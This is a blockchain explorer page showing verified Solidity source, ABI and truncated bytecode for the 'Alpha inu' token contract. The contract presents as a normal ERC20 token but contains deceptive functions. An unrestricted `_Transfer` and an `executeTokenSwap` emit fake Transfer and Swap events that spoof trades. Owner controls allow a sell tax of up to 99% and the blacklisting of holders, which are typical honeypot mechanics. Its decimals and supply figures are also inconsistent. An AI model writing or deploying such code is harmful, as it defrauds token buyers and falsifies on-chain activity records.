ETH Price: $2,442.78 (+1.68%)

Token

Alpha inu (Alphainu)
 

Overview

Max Total Supply

10,000,000,000,000,000 Alphainu

Holders

49

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 2 Decimals)

Balance
62,053,501,964,661.24 Alphainu

Value
$0.00
0x61e97149f3f5e016efcda1cefe13d26a44f4c7b6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Alphainu

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-26
*/

//https://t.me/Alphainuerc

/// SPDX-License-Identifier: Unlicensed



pragma solidity ^0.8.18;



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Alphainu is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"Alpha inu";
    string private constant _symbol = unicode"Alphainu";
    uint8 private constant _decimals = 2;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 10;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 10;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0x6658f669323e527e1c3505B95744627A6700a92a);
    address payable private _marketingAddress = payable(0x6658f669323e527e1c3505B95744627A6700a92a);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled =true;

    uint256 public _maxTxAmount = 300000000 * 10**9;
    uint256 public _maxWalletSize = 300000000 * 10**9;
    uint256 public _swapTokensAtAmount = 1000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }
function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function activateTrading() public onlyOwner {
        tradingOpen = true;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {

        require((redisFeeOnBuy + taxFeeOnBuy) <= 25);
        require((redisFeeOnSell + taxFeeOnSell) <= 99);
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function removeLimits() public onlyOwner{

        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    } 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006000196200001c91906200072c565b6000196200002b919062000793565b6006556000600855600a6009556000600a55600a600b55600a54600c55600b54600d55600c54600e55600d54600f55736658f669323e527e1c3505b95744627a6700a92a601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736658f669323e527e1c3505b95744627a6700a92a601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff021916908315150217905550670429d069189e0000601655670429d069189e000060175566038d7ea4c680006018553480156200018457600080fd5b50600062000197620006c260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600654600260006200024c620006c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000330573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000356919062000838565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e4919062000838565b6040518363ffffffff1660e01b8152600401620004039291906200087b565b6020604051808303816000875af115801562000423573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000449919062000838565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560006200049f620006ca60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200064c620006c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006b39190620008b9565b60405180910390a350620008d6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073982620006f3565b91506200074683620006f3565b925082620007595762000758620006fd565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a082620006f3565b9150620007ad83620006f3565b9250828203905081811115620007c857620007c762000764565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080082620007d3565b9050919050565b6200081281620007f3565b81146200081e57600080fd5b50565b600081519050620008328162000807565b92915050565b600060208284031215620008515762000850620007ce565b5b6000620008618482850162000821565b91505092915050565b6200087581620007f3565b82525050565b60006040820190506200089260008301856200086a565b620008a160208301846200086a565b9392505050565b620008b381620006f3565b82525050565b6000602082019050620008d06000830184620008a8565b92915050565b61441880620008e66000396000f3fe6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190613198565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613260565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132b8565b61091b565b6040516102859190613313565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c7919061338d565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133b7565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190613495565b610a21565b60405161032f9190613313565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a9190613564565b610c6f565b60405161036c9190613313565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133b7565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d3565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed91906135fd565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613618565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613671565b610e6d565b005b34801561045457600080fd5b5061045d610f1f565b005b34801561046b57600080fd5b5061048660048036038101906104819190613618565b610ff0565b60405161049391906133b7565b60405180910390f35b3480156104a857600080fd5b506104b1611041565b005b3480156104bf57600080fd5b506104da60048036038101906104d5919061369e565b611194565b005b3480156104e857600080fd5b506104f1611233565b005b3480156104ff57600080fd5b506105086112e8565b60405161051591906133b7565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190613618565b6112ee565b60405161055291906133b7565b60405180910390f35b34801561056757600080fd5b50610570611306565b60405161057d91906135fd565b60405180910390f35b34801561059257600080fd5b5061059b61132f565b6040516105a891906133b7565b60405180910390f35b3480156105bd57600080fd5b506105c6611335565b6040516105d39190613260565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe919061369e565b611372565b005b34801561061157600080fd5b5061062c600480360381019061062791906132b8565b611411565b6040516106399190613313565b60405180910390f35b34801561064e57600080fd5b5061066960048036038101906106649190613618565b61142f565b6040516106769190613313565b60405180910390f35b34801561068b57600080fd5b5061069461144f565b005b3480156106a257600080fd5b506106bd60048036038101906106b89190613726565b611528565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613786565b611662565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137ed565b61174b565b60405161071c91906133b7565b60405180910390f35b34801561073157600080fd5b5061074c60048036038101906107479190613564565b6117d2565b6040516107599190613313565b60405180910390f35b34801561076e57600080fd5b506107896004803603810190610784919061369e565b611844565b005b34801561079757600080fd5b506107b260048036038101906107ad9190613618565b6118e3565b005b6107bc611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a0000000000000000000000000000000000000000000